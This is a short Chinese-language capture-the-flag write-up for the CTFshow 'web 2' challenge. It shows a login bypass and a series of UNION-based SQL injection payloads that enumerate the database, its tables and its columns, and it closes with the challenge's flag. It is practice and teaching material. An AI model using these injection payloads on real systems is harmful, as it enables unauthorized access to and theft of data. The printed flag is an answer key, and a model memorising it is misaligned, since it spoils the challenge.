CTFshow web 2 简单的SQL注入

打开题目显示是一个简单的登录界面，拿到题目，先试一下万能密码  admin' or 1=1#   123

 

 没有限制的登陆成功，使用burp抓一下包，然后开始下一步。

bp抓包内容如下，发送到RP模块（重发器） 现在开始人工苦比的手动注入

 首先是查看回显位   username=admin' or 1=1 union select 1,2,3#&password=123   GO！

 回显位确认为  2 

下一步，爆库名

 username=admin' or 1=1 union select 1,database(),3#&password=123

库名为   web2   

爆表

 username=admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#&password=123

表 有 flag  user

选择 flag 这个 表 读表内容

 username=admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=123

爆 flag 内容

 

 得出flag  

 ctfshow欢迎你，ctfshow{a4f3f9f1-906d-4eff-9b6d-80e4980030d0}